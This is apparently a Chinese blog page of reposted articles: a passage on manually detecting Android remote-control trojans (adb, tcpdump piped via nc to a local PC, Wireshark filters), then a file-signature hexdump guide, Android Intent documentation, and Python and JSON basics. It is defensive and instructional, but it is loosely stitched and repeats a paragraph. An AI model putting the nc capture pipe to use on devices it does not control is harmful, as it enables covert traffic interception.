大多数手机木马都会请求网络连接,在请求的同时会抛出异常,因为木马客户端并不是实时处于监听状态,这时服务端反弹连接会抛出异常。通过异常信息就能找到木马程序的进程ID
,进而找到程序的安装路径,并卸载掉。

如果想获取应用对应的安装路径等详细信息,可以执行下面的命令获得。

 

adb shell dumpsys meminfo $package_name or $pid    //使用程序的包名或者进程id

 

第四种方法:通过抓取网络通讯数据包分析手机应用到底做了什么。前面的三种方法并不能100%的判断某个应用是否是恶意程序或者木马。

所以第四种方法来了。第四种方法是最复杂的,并不适合所有人,只适合手机安全发骚友。

抓取手机网络通讯数据包分三步走:

第一步:在PC上运行ADVsock2pipe,输入如下命令

 

ADVsock2pipe.exe -pipe=wireshark -port 9000

 

 

第二步:在PC上运行wireshark,设置caption-Options

 

Capture|Options,Interface:Local, \\.\pipe\wireshark

 

 

第三步:adb shell

 

# tcpdump -nn -w - -U -s 0 "not port 9000" | nc 192.168.1.101 9000-w:指定将监听到的数据包写入文件中保存-nn:指定将每个监听到的数据包中的域名转换成IP、端口从应用名称转换成端口号后显示-s:指定要监听数据包的长度

 

192.168.1.101 这个IP地址是你本机的IP。

至于这个9000端口可以随便改,只要不被系统占用就可以。

还有一个重要前提条件是手机需要root权限。

 

之后在wireshark上面就可以看到通讯数据在不停的增加了。

通过上面的第一种手工查杀方法,大家应该知道怎么找到可疑连接的IP地址和端口了。

然后就是过滤可疑连接的IP地址和端口。

过滤语法是:ip.dst ==可疑IP
and tcp.dstport ==端口

 

这里跟大家介绍一种和第三种方法达到异曲同工之妙的语法。

tcp.flags.syn == 0×02    显示包含TCP
SYN标志的封包。

TCP网络连接要完成三次握手,这个地球人都知道的,是吧。

 

过滤出TCP SYN标志的封包后,在wireshark上面就能找到可疑连接的IP地址了。

结合第一种方法就能找到可疑IP地址对应的应用程序ID和包名。然后就是查看权限列表进一步判断,之后就是选择是否卸载应用了。

 

最后再来回答上面提到的抓包分析手机应用到底做了什么的问题。

方法很简单,刚才用ip.dst
==可疑IP and tcp.dstport ==端口

这个语法过滤出可疑信息,在上面鼠标右键,选择follow
TCP stream

就可以跟踪指定TCP流的包。如下图:

 

数据包是加密的。怎么去解密就留给大家做课后练习了。

 

最后再来补充说明下手机安全软件为什么查杀不了,非得要手工查杀不可呢?

看下下面的分析就知道原因了。

假设你的手机不小心被植入了一款手机木马程序。这个时候你安装了一款手机安全软件,比如腾讯手机管家,360手机卫士,LBE安全大师,金山手机卫士等等等。

然后你每天更新手机杀软病毒库并扫描。可是呢?每次的结果都是您的手机很安全,可以放心使用。如下图:

         

上面是腾讯手机管家截图                                                 上面是LBE安全大师截图

 

        

上面是金山手机卫士截图                                                  上面是金山手机卫士截图

 

所以杀软都是最新版本最新病毒库。

通过几款安全软件的扫描查杀并没有找到真正的木马程序。而通过刚才的四种手工查杀,真正的手机木马其实已经不难找到了。

最后的最后让大家欣赏下这款手机远控的庐山真面目:

我在这里不是黄婆卖瓜自卖自夸。只是想让所有人提高安全意识,现在的安全形势有多严峻,不言而喻。

我们通过上面的分析还可以得出一个结论:

就是市面上的主流手机安全软件并不靠谱,全中国还有多少手机木马,什么杜蕾斯手机远控,爵士帮手机远控,都还没有浮出水面,是吧?元芳,你怎么看?

写于2013年7月14日

我在这里不是黄婆卖瓜自卖自夸。只是想让所有人提高安全意识,现在的安全形势有多严峻,不言而喻。

我们通过上面的分析还可以得出一个结论:

就是市面上的主流手机安全软件并不靠谱,全中国还有多少手机木马,什么杜蕾斯手机远控,爵士帮手机远控,都还没有浮出水面,是吧?元芳,你怎么看?

写于2013年7月14日

A Field Guide to Your Files || 识别文件的伪装

有些可运行库或者Loadable库文件可能会把自己的后缀搞成一个图片,一个视频一个flash等,来实现伪装,以瞒过人眼。然后查到了下面这篇文章。转载以做记录:

A few of my friends occasionally run into problems caused by invalid file types. This can happen when someone accidentally types the wrong file extension on a file when saving it.

For example, my friend Beatrice, who does transcriptions, often receives audio files that are named “something.mp3”, but the files are not actually in the MP3 format. They’re something else, like AIFF or WAV. Other times, she may receive a file with no extension at all, and she can’t figure out what type it is.

When this happens, it can cause the software that is trying to use the file to complain (while other software mysteriously works fine). You can often fix these problems by figuring out the correct file format, and changing the file extension accordingly.

The way I usually spot this problem is by looking at the actual bytes of the file, using a hex dump utility. This is the nerd equivalent of opening the hood of a car to investigate a problem. The Mac (and other BSD boxes) has a built-in utility called hexdump which you can access from the Terminal command line. Windows doesn’t come with one, but you can find a free one online.

If you’re on a Mac, and you hate the command-line, I would suggest using HexEdit which is a nice graphical hex dumper/editor (and be sure to read the credits).

To use the Mac/BSD commmand-line hexdump, I typically type something like

 

hexdump -C filename | head

The result is a list of the first few bytes of the file, which will produce something like this, if you’re looking at an ordinary text file:

 

00000000  48 69 20 65 76 65 72 79  6f 6e 65 2c 0a 0a 48 65  |Hi everyone,..He|
00000010  72 65 20 61 72 65 20 73  6f 6d 65 20 63 68 61 6e  |re are some chan|
00000020  67 65 73 20 74 68 61 74  20 77 69 6c 6c 20 68 61  |ges that will ha|

Each row of the display shows 16 bytes from the file. On the left, you see the address of the first byte, in hexadecimal notation (base 16). Then the values of each of those 16 bytes, in hexadecimal format, and finally, a very useful display of those same bytes in ASCII notation. If any of those bytes contain readable text, as they do here, you’ll be able to read them. With the Mac/BSD hexdump, you won’t see the (very useful) ascii column, if you don’t include the -C option.

I suggest doing this for a few of the common types of files you deal with on a daily basis. Spreadsheets, images, music files etc. You’ll notice that files of the same format tend to have a characteristic look to them, which can help you identify them.

Here are some sample dumps from files I commonly deal with. I’m highlighting some of the characteristic things to look for in yellow, to provide a kind of field guide. I hope you find this useful.

 

GRAPHICS FILES

Adobe Photoshop File (.psd)
00000000  38 42 50 53 00 01 00 00  00 00 00 00 00 04 00 00  |8BPS............|
00000010  0b 71 00 00 10 dd 00 08  00 03 00 00 00 00 00 00  |.q...?..........|
00000020  6f c4 38 42 49 4d 04 04  00 00 00 00 00 07 1c 02  |o?8BIM..........|

JPEG image (.jpg)
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 48  |????..JFIF.....H|
00000010  00 48 00 00 ff db 00 43  00 06 04 05 06 05 04 06  |.H..??.C........|
00000020  06 05 06 07 07 06 08 0a  10 0a 0a 09 09 0a 14 0e  |................|

PNG image (.png)
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 03 20 00 00 02 58  08 06 00 00 00 9a 76 82  |... ...X......v.|
00000020  70 00 00 0c d9 69 43 43  50 69 63 63 00 00 78 da  |p...?iCCPicc..x?|

GIF image (.gif)
00000000  47 49 46 38 39 61 10 00  10 00 b3 0d 00 3f 3f 3f  |GIF89a....?..???|
00000010  bf bf bf 2a 2a 2a 55 55  55 7f 7f 7f 15 15 15 40  |???***UUU......@|
00000020  40 40 60 60 60 c0 c0 c0  2f 2f 2f 90 90 90 ff ff  |@@```???///...??|

Adobe Illustrator File (.ai)
00000000  25 50 44 46 2d 31 2e 34  0d 25 e2 e3 cf d3 0d 0a  |%PDF-1.4.%????..|
00000010  31 20 30 20 6f 62 6a 3c  3c 2f 50 61 67 65 73 20  |1 0 obj<</Pages |
00000020  32 20 30 20 52 2f 54 79  70 65 2f 43 61 74 61 6c  |2 0 R/Type/Catal|

MUSIC FILES

MP3 Music Track (.mp3)
00000000  49 44 33 03 00 00 00 00  00 6f 54 49 54 32 00 00  |ID3......oTIT2..|
00000010  00 0e 00 00 00 54 68 65  20 4f 74 68 65 72 20 4d  |.....The Other M|
00000020  61 6e 54 52 43 4b 00 00  00 02 00 00 00 33 54 50  |anTRCK.......3TP|

WAV file (.wav)
00000000  52 49 46 46 62 b7 01 00  57 41 56 45 66 6d 74 20  |RIFFb?..WAVEfmt |
00000010  10 00 00 00 01 00 01 00  44 ac 00 00 88 58 01 00  |........D?...X..|
00000020  02 00 10 00 64 61 74 61  3e b7 01 00 57 01 bd 01  |....data>?..W.?.|

AIFF file (.aif)
00000000  46 4f 52 4d 00 2a ef cc  41 49 46 46 43 4f 4d 54  |FORM.*??AIFFCOMT|
00000010  00 00 01 c2 00 01 00 00  00 00 00 00 00 12 43 72  |...?..........Cr|
00000020  65 61 74 6f 72 3a 20 4c  6f 67 69 63 20 50 72 6f  |eator: Logic Pro|

TEXT FILES

Text file (often .txt, but not always)
00000000  48 69 20 65 76 65 72 79  6f 6e 65 2c 0a 0a 48 65  |Hi everyone,..He|
00000010  72 65 20 61 72 65 20 73  6f 6d 65 20 63 68 61 6e  |re are some chan|
00000020  67 65 73 20 74 68 61 74  20 77 69 6c 6c 20 68 61  |ges that will ha|

Microsoft Word/Office (.doc, .xls)
00000000  d0 cf 11 e0 a1 b1 1a e1  00 00 00 00 00 00 00 00  |??.....?........|
00000010  00 00 00 00 00 00 00 00  3e 00 03 00 fe ff 09 00  |........>...??..|
00000020  06 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00  |................|

Adobe PDF (.pdf) - Very similar to Adobe Illustrator and other Postscript formats
00000000  25 50 44 46 2d 31 2e 34  0d 25 e2 e3 cf d3 0d 0a  |%PDF-1.4.%????..|
00000010  36 20 30 20 6f 62 6a 20  3c 3c 2f 4c 69 6e 65 61  |6 0 obj <</Linea|
00000020  72 69 7a 65 64 20 31 2f  4c 20 34 34 30 36 38 2f  |rized 1/L 44068/|

ANIMATION & VIDEO

Flash movie (.swf)
00000000  43 57 53 08 ac 43 00 00  78 9c ed 7a 77 58 93 c9  |CWS.?C..x.?zwX.?|
00000010  d6 f8 49 25 f4 80 94 50  0d 45 4a 00 e9 45 b0 04  |??I%?..P.EJ.?E?.|
00000020  44 44 45 e9 55 d0 80 44  01 11 10 11 01 75 0d bd  |DDE?U?.D.....u.?|

Quicktime Movie (.mov)
00000000  00 00 00 20 66 74 79 70  71 74 20 20 20 05 03 00  |... ftypqt   ...|
00000010  71 74 20 20 00 00 00 00  00 00 00 00 00 00 00 00  |qt  ............|
00000020  00 00 03 55 6d 6f 6f 76  00 00 00 6c 6d 76 68 64  |...Umoov...lmvhd|

 

A handy short cut

Now that you’ve gotten this far, you may be wondering if there is a handy utility that will look at the file for you, and find these signature characteristics, and identify the file for you. On most Linux and Mac systems, there is a command called file that will do just that. For example:

$ file *.mp3
JTrack.mp3:  MP3 file with ID3 version 2.3.0 tag
JTrack2.mp3: MP3 file with ID3 version 2.3.0 tag

However, I still think it’s a good idea to get comfortable “opening the hood” on your files, and I hope you give it a try!

 

 

Intent 和 Intent Filter

Android 应用程序中有三大核心组件: Activity, Service, Broadcast Receiver 都是通过被称之为意图的消息运行。Intent messaging is a facility for late run-time binding between components in the same or different applications. 意图本身一个 Intent 对象,它保存了对要执行操作的抽象描述—对于broadcasts来说,则表示对已经发生并且正要报告的操作。对这下三种组件,发送intents分别有不同的机制。

  • 传递一个Intent对象到 Context.startActivity(intent) 或者 Activity.startActivity ForResult(int) 去运行一个Activity(可以在通过此方式启动后的Activity中调用 Activity.setResult() 设置结果参数,该参数将会在启动当前activity的activity中被接收—可以通过onActivityResult(int requestCode, int resultCode, Intent data) 接收)
  • 传递一个Intent对象到 Context.startService(intent) 去启动一个service 或者 传递一个新的指令到正在运行的service中。另外,还可以通过 Context.bindService(intent) 去绑定一个Service。(在调用组件和目标Service 建立一个连接)
  • 传递一个Intent对象到 任何一个broadcast methods (如: Context.sendBroadcast() , Context.sendOrderedBroadcast(), Context.sendStickyBroadcast() ) 该intent将被传递给所有已经被注册的broadcast receiver中。

在以上的三种情况下,当Intent被传递出后,Android系统会找到适合的activity,service,或者是多个broadcast receiver去响应这个intent。,这三种情况不会存在重叠的部分,它们相互独立,互不干扰。(调用Context.startActivity()后 intent只会被相应的activity接收到)

 


Intent Object

 

 

一个Intent对象是一个信息包。它包含了要接收此Intent的组件需要的信息(例如需要的动作和动作需要的信息)和 android 系统需要的信息(要处理此Intent的组件的类别和怎样启动它)

总的来说,Intent Object 主要包括以下信息:

Component name

处理Intent 的组件名称。此字段是一个 ComponentName object—它是目标的组件的完整限定名(包名+类名) 例如: “com.android,.test.TestActivity” .

该字段是可选的。如果设置了此字段,那么 Intent Object 将会被传递到这个组件名所对应的类的实例中。 如果没有设置,Android 会用 Intent object 中的其它信息去定位到一个合适的目标组件中。 (称之为 : Intent 解析。。。这个稍后会讲到)

设置Component name 可以通过 setComponent() , setClass() 或者 setClassName()进行设置。 可以通过 getComponent() 进行读取

动作(Action

一个字符串,代表要执行的动作。 — 或者,对于 broadcase intents 来说,表示正在发生,并且被报告的动作。Intent 类中 定义了许多动作常量。 如下:

 

Constent( 常量) Target Component (目标组件) Action (动作 )
ACTION_CALL activity 初始化一个电话呼叫
ACTION_EDIT activity 显示用户要编辑的数据
ACTION_MAIN activity 将该Activity作为task的第一个Activity ,没有数据输入,也没有数据返回
ACTION_SYNC activity 在设备上同步服务器上的数据
ACTION_BATTERY_LOW broadcast receiver 电量不足的警告
ACTION_HEADSET_PLUG broadcast receiver 耳机插入设备,或者从设备中拔出
ACTION_SCREEN_ON Broadcast receiver 屏幕已经点亮
ACTION_TIMEZONE_CHANGED Broadcast receiver 时区设置改变

 

你也可以定义自己的 action strings 来激活组件。自定义的action 应该包含包名作为前缀: 例如”com.example.project.SHOW_COLOR“.

Action 很大程度上决定 Intent余下部分的结构。 —- 特别是:data 和 extras 两个字段。就像一个方法的方法名通常决定了方法的参数和返回值。 基于这个原因,应该给action 命名一个尽可能明确的名字。 可以通过 setAction() 设置action,通过 getAction() 进行获取.

 

 

Data

Data属性有两部分构成: 数据URI 和 数据MIME type 。 action的定义往往决定了data该如何定义。 例如: 如果 一个Intent的 action 为ACTION_EDIT 那么它对应的data 应该包含待编辑的数据的URI . 如果一个action 为:ACTION_CALL ,那么data 应该为 tel: 电话号码的URI . 类似的, 如果action 为 ACTION_VIEW 那么data 应该为: http: URI , 接收到的activity 将会下载并显示相应的数据。

当一个Intent 和 有能力处理此Intent的组件进行匹配时, 除了 data的URI以外,了解data的类型(MIME Type)也很重要。 例如: 一个显示图片的组件 不应该去播放声音文件。

 

许多情况下,data type 可以从URI中推测出。 尤其是: URI = content: URIs这时候数据通常是位于本设备上而且是由某个content provider来控制的。即便如此,我们仍然可以明确的在 Intent object上设置一个 data type. setData() 方法只能设置URI, setType() 设置MIME type, setDataAndType() 可以对二者都进行设置, 获取URI 和 data type 可分别调用 getData() 和 getType() 方法。

Category

一个字符串, 包含了处理该Intent的组件的种类信息, 起着对action的补充说明作用.

一个Intent对象可以有任意多个 category。和action 一样, 在Intent class 中也定义了几个 category 常量。。 如下:

Constant Meaning
CATEGORY_BROWSABLE 目标Activity可以使用浏览器显示数据
CATEGORY_GADGET The activity can be embedded inside of another activity that hosts gadgets.

该activity可以被包含在另外一个装载小工具的activity中.

CATEGORY_HOME The activity displays the home screen, the first screen the user sees when the device is turned on or when the HOME key is pressed.
CATEGORY_LAUNCHER The activity can be the initial activity of a task and is listed in the top-level application launcher.

可以让一个activity出现在launcher

CATEGORY_PREFERENCE The target activity is a preference panel.

该activity是一个选项面板

 

 

 

addCategory() 添加一个 category

removeCategory() 删除一个 category()

getCategorys() 获取所有的category()

Extras

 

 

为键-值对形式的附加信息. 例如ACTION_TIMEZONE_CHANGED的intent有一个”time-zone”附加信息来指明新的时区, 而ACTION_HEADSET_PLUG有一个”state”附加信息来指示耳机是被插入还是被拔出.

intent对象有一系列put…()和set…()方法来设定和获取附加信息. 这些方法和Bundle对象很像. 事实上附加信息可以使用putExtras()和getExtras()作为Bundle来读和写.

Flags

 

有各种各样的标志,许多指示Android系统如何去启动一个活动(例如,活动应该属于那个任务)和启动之后如何对待它(例如,它是否属于最近的活动列表)。所有这些标志都定义在Intent类中。

 

 


Intent Resolution

 

Intent 有两种形式:

l 显示意图指定一个目标组件通过其name( Component name field), 由于组件名称通常不会被其它应用程序的开发者知道。所以,显示意图通常用在应用程序内部消息。—-如:一个Activity 启动一个从属的service或者启动另一个activity

l 隐式意图不指定目标组件名称(component name 是空的)隐式意图通常用于去激活其它应用程序的组件

Android 传递了一个显示意图给一个被指定的目标类的实例 。被传递的 intent object 只是定义了component name — 它决定了将会有那个组件去处理这个intent。

针对隐式意图需要不同的策略。在缺乏一个被指定的target的情况下,android系统必须找到最适合的组件去处理这个intent —- 一个单一的activity 或者 service 去执行一个请求动作或者一组broadcase receiver 去响应广播通知.

它通过将intent 对象中的内容 和 意图过滤器(intent filters)进行比较。android系统根据intent filter打开可以接收intent的组件. 如果一个组件没有intent filter, 那么它只能接受显式intent. 如果有, 则能同时接受二者.。

Only three aspects of an Intent object are consulted when the object is tested against an intent filter:

当一个intent和intent过滤器进行比较时只会考虑以下三方面:

action
data (both URI and data type)
category

Intent filters

要告诉android系统哪个intent它们可以处理,activities,services,和 broadcast receivers 必须设置一个或者多个intent过滤器。每个过滤器描述了组件的一种能力,它过滤掉不想要的intent,留下想要的。显示意图则不用考虑这些。

一个过滤器中包含 一个Intent object 中的三个属性 action,data,catrgory 。一个隐式意图必须要通过这三项测试才能传递到 包含该过滤器的组件中。

测试1:Action test

<intent-filter . . . >
    <action android:name="com.example.project.SHOW_CURRENT" />
    <action android:name="com.example.project.SHOW_RECENT" />
    <action android:name="com.example.project.SHOW_PENDING" />
    . . .
</intent-filter>

如实例所示,当一个intent对象只能命名一个单一的action,一个过滤器则可以列出多个action。这个列表也可以是空的, 一个过滤器必须包含一个 <action> element ,否则它将阻止所有的intents要通过这个测试,在intent被指定的action必须匹配在过滤器中所列的action的其中之一。如果一个intent对象或者过滤器没有指定action。 结果如下 :

l 如果一个filter 没有指定任何action ,那么则没有任何intent会被匹配。所以,所有的intent将不会通过此测试。

l 另一方面,如果一个intent对象没有指定任何action,那么将自动通过此测试—只要这个过滤器中有至少一个action

 

 

测试2:Category test

 

<intent-filter . . . >
<category android:name=”android.intent.category.DEFAULT” />
<category android:name=”android.intent.category.BROWSABLE” />
. . .
</intent-filter>

 

 

要通过category测试, Intent对象中包含的每个category必须匹配filter中的一个。Filter可以列出额外的category,但是不能漏掉 intent 对象包含的任意一个category。

原则上,一个没有任何categorys的 Intent object 将总是通过此测试。大多数情况下是正确的。然而,也有例外,android对待所有传入 startActivity() 中的隐式视图,都认为它们至少包含了一个 category — “android.intent.category.DEFAULT”. . 因此,希望接收这些隐式意图的activities必须在在它们的 intent filters 中包含”android.intent.category.DEFAULT” ..有(对于包含”android.intent.action.MAIN” and “android.intent.category.LAUNCHER”的filter 则是例外。因为它们标记了此activity开启了一个新的task 和 将出现在 auncher screen。它们也可以包含“com.intent.category.DEFAULT”,但没必要)

测试3:Data test

类似于action, categories, data也是 intent filter 中的一个子节点, 可以设置多个 data节点,也可以一个不设置。

如下图:

<intent-filter . . . >
<data android:mimeType=”video/mpeg” android:scheme=”http” . . . />
<data android:mimeType=”audio/mpeg” android:scheme=”http” . . . />
. . .
</intent-filter>

每个< data > 元素可以指定一个 URI 和 一个 data type (MIME media type) . URI 有以下几个属性组成 : schema, host,port,path

Schema://host:port/path

例如:

content://com.example.project:200/folder/subfolder/etc

在上例中 schema 是 content: host: com.example.project

Port: 200 Path: folder/subfolder/etc

主机 host 和 port 一起组成了URI authority,如果没有指定 host,那么port将被忽略。

<data>节点中的属性都是可选的,但它们并非相互独立。要使一个authority 有意义,必须要指定 scheme 。 要是 path 有意义, scheme 和 authority(host:port) 必须指定。

当Intent对象中的URI 和 intent filter 进行比较时,它只会进行部门比较。 例如: 如果一个 filter 只指定了一个scheme , 那么所有包含该scheme的URI都会匹配。 如果一个filter只指定了 scheme 和 authority ,没有path, 那么所有包含此scheme 和 authority 将会匹配。如果一个filter指定了一个scheme,authority, 和一个path, 那么只有包含同样的 scheme,authoritym,path会匹配。 但是,对于path,我们可以使用通配符进行部门匹配。

<data>节点的 type 属性指定了 data的MIME type。 它比在filter中的URI 更常见 intent对象和filter都可以使用 “*” 通配符作为子类型 – 例如: “text/*” or “audio/*“— 表示所有子类型都匹配。

data test 会将 intent对象中的URI 和 data type 与filter指定的都进行比较。 规则如下:

a) 如果一个intent 没有指定URI 和 data type , 那么如果filter中也是同样,则通过测试。

b) 如果一个iintent 有URI 但是没有 data type(或者是data type不能从uri中推断出来 ) 只能通过这样的filter: uri匹配, 并且不指定类型. 这种情况限于类似mailto:和tel:这样的不指定实际数据的uri.

c) 如果一个intent 包含 data type 但是没有 uri ,那么 filter中列出相同的data type 并且没有指定URI 则通过测试。

d) 如果一个intent包含一个URI 和data type (或者data type 可以从URI中推断出来),那么filter列出的有相同data type ,intent对象的uri要么和filter中的uri匹配,要么intent的uri为 content: or file: 并且filter不指定uri

如果一个Intent 可以通过多个activity或者filter的filter,那么用户将会被询问需要激活哪个组件。 如果一个都没有的话,将会抛出异常。

 

Common cases

 

这个规则是针对 data test 中的规则d) ,它反映出组件可以从一个file或者content provider 获取本地数据。因此,filters 可以是设置data type并且没有必要明确的将 scheme 命名为 content: 和 file: 。

下面的 <data>元素,告诉android该组件可以从content provider中获取image data 并显示她。

<data android:mimeType=”image/*” />

由于大部分可用的数据都是由content provider提供, 指定数据类型但不指定uri的filter是最常见的情况.

Another common configuration is filters with a scheme and a data type. For example, a <data> element like the following tells Android that the component can get video data from the network and display it:

设置了 scheme 和 data type是 另一个比较常见的配置是 。下面的 <data>元素,告诉android该组件可以从网上获取video并显示

<data android:scheme=”http” android:type=”video/*” />

考虑当用户在一个web page上点了一个链接后,浏览器应用程序做了什么。 它首先会试图去显示该数据(当做一个html页来处理)。如果它不能显示此数据,它会使用一个设置 scheme 和 data type 的隐式意图 去启动一个能显示此数据的activity。如果没有找到接受者,它会调用下载管理器去下载该数据,然后将其放在content provider的控制之下,这样很多activitys (那些之命名了datatype)可以处理该数据

大部分应用程序还有一种方式可以单独启动,不用去引用特别的数据。那些要启动应用程序的activity 必须 设置 “android.intent.action.MAIN” 作为action。

如果还要显示在程序启动器上则必须设置 “android.intent.category.LAUNCHER” 为 category.

<intent-filter . . . >
<action android:name=”code android.intent.action.MAIN” />
<category android:name=”code android.intent.category.LAUNCHER” />
</intent-filter>

python对文件进行读写操作

From; http://sucre.iteye.com/blog/704077

python进行文件读写的函数是open或file

file_handler = open(filename,,mode)

Table mode

模式 描述
r 以读方式打开文件,可读取文件信息。
w 以写方式打开文件,可向文件写入信息。如文件存在,则清空该文件,再写入新内容
a 以追加模式打开文件(即一打开文件,文件指针自动移到文件末尾),如果文件不存在则创建
r+ 以读写方式打开文件,可对文件进行读和写操作。
w+ 消除文件内容,然后以读写方式打开文件。
a+ 以读写方式打开文件,并把文件指针移到文件尾。
b 以二进制模式打开文件,而不是以文本模式。该模式只对Windows或Dos有效,类Unix的文件是用二进制模式进行操作的。

Table 文件对象方法

方法 描述
f.close() 关闭文件,记住用open()打开文件后一定要记得关闭它,否则会占用系统的可打开文件句柄数。
f.fileno() 获得文件描述符,是一个数字
f.flush() 刷新输出缓存
f.isatty() 如果文件是一个交互终端,则返回True,否则返回False。
f.read([count]) 读出文件,如果有count,则读出count个字节。
f.readline() 读出一行信息。
f.readlines() 读出所有行,也就是读出整个文件的信息。
f.seek(offset[,where]) 把文件指针移动到相对于where的offset位置。where为0表示文件开始处,这是默认值 ;1表示当前位置;2表示文件结尾。
f.tell() 获得文件指针位置。
f.truncate([size]) 截取文件,使文件的大小为size。
f.write(string) 把string字符串写入文件。
f.writelines(list) 把list中的字符串一行一行地写入文件,是连续写入文件,没有换行。

 

例子如下:

读文件

 

Python代码
  1. read = open(result)
  2.        line=read.readline()
  3.        while line:
  4.              print line
  5.              line=read.readline()#如果没有这行会造成死循环
  6.        read.close

写文件

 

Python代码
  1. read = file(result,’a+’)
  2.         read.write(“\r\n”)
  3.         read.write(“thank you”)
  4.         read.close

其它

 

Python代码
  1. #-*- encoding:UTF-8 -*-
  2. filehandler = open(‘c:\\111.txt’,’r’)    #以读方式打开文件,rb为二进制方式(如图片或可执行文件等)
  3. print ‘read() function:’              #读取整个文件
  4. print filehandler.read()
  5. print ‘readline() function:’          #返回文件头,读取一行
  6. filehandler.seek(0)
  7. print filehandler.readline()
  8. print ‘readlines() function:’         #返回文件头,返回所有行的列表
  9. filehandler.seek(0)
  10. print filehandler.readlines()
  11. print ‘list all lines’                #返回文件头,显示所有行
  12. filehandler.seek(0)
  13. textlist = filehandler.readlines()
  14. for line in textlist:
  15.     print line,
  16. print
  17. print
  18. print ‘seek(15) function’               #移位到第15个字符,从16个字符开始显示余下内容
  19. filehandler.seek(15)
  20. print ‘tell() function’
  21. print filehandler.tell()              #显示当前位置
  22. print filehandler.read()
  23. filehandler.close()                   #关闭文件句柄

标准JSON格式

from; http://blog.csai.cn/user1/14586/archives/2011/46103.html

前些日子,写了一个项目需要用到JSON,当时查找了N多资料才有了些许我线索,为了利人利已,特此记录下来。(该项目为NET)
总的来说,JSON数据是AJAX用来传递序列化对象的一种数据格式,其关键符号就是{}、[]、””、:、,几种,不能出现”,否则是不认识的。{}

里面的是一个对象,如果是多个对象,则用逗号间隔,即{},{},这样就组成了一个对象序列,为了辨别开始和结束,则需要加上[]才能进行

传递,则实际传递的形式应该是[{},{}],如果只要传递一个对象,则{}的形式就可以了。接下来就是对象属性的表现方式了,属性必须在””

里面,属性与值之间用:隔开,属性之间用,来分隔,如果属性的值为数组,则用[]包括起来,这样实际传递的数据格式可能有:1、{“属性1″:

值1,”属性2”:值2},如果值为字符串,则也需要用””括起来(下同)。2、{“属性1″:值1,”属性2”:[值1,值2]},其中属性2是一个数组,包含

了值1和值2。3、{“属性1″:值1,”属性2”:{“属性a”:值a,”属性b”:[值b,值c]}},这个比较复杂了,属性2是个对象,这个对象由包含属性a和

属性b,属性b又是一个数组包含值b和值c。我想这些应该是最基本了,其余的就是在此基础上的拓展而已。

实际中,要序列化对象,在.net中只要调用Newtonsoft.Json.JavaConvert.SerializeObject();函数即可,但了解JSON数据的格式标准

能更好的判断为题所在,同时能方便的按照自己的要求组成json数据。

python字符串连接

From: http://www.cnpythoner.com/post/67.html

python字符串连接有几种方法,把大家可能用到的列出来,第一个方法效率是最低的,另外给大家介绍后面的 2种效率高的方法,希望对大家有帮助。

先介绍下效率比较低的,有些新手朋友就会犯这个错误:

a = [‘a’,’b’,’c’,’d’]

content = ”

for i in a:
content = content + i

print content

说下为什么效率会低呢?

原因:在循环连接字符串的时候,他每次连接一次,就要重新开辟空间,然后把字符串连接起来,再放入新的空间,再一次循环,又要开辟新的空间,把字符串连接起来放入新的空间,如此反复,内存操作比较频繁,每次都要计算内存空间,然后开辟内存空间,再释放内存空间,效率非常低,你也许操作比较少的数据的时候看不出来,感觉影响不大,但是你碰到操作数据量比较多的时候,这个方法就要退休了。

还是看看下面2个比较先进的方法把。

方法1: 用字符串的join方法

a = [‘a’,’b’,’c’,’d’]
content = ”
content = ”.join(a)
print content

方法2: 用字符串的替换占位符替换

 

a = [‘a’,’b’,’c’,’d’]
content = ”
content = ‘%s%s%s%s’ % tuple(a)
print content

另外这篇文章讲到了很多字符串格式化的信息,你可以看下。 至于用哪个方法的话,看你自己的选择了。

目前我们的python小班培训就有详细的字符串讲解和应用,让你通过实战掌握编程知识。

有兴趣可以看看关于python字符串有关的 python 字符串替换 和 python 字符串截取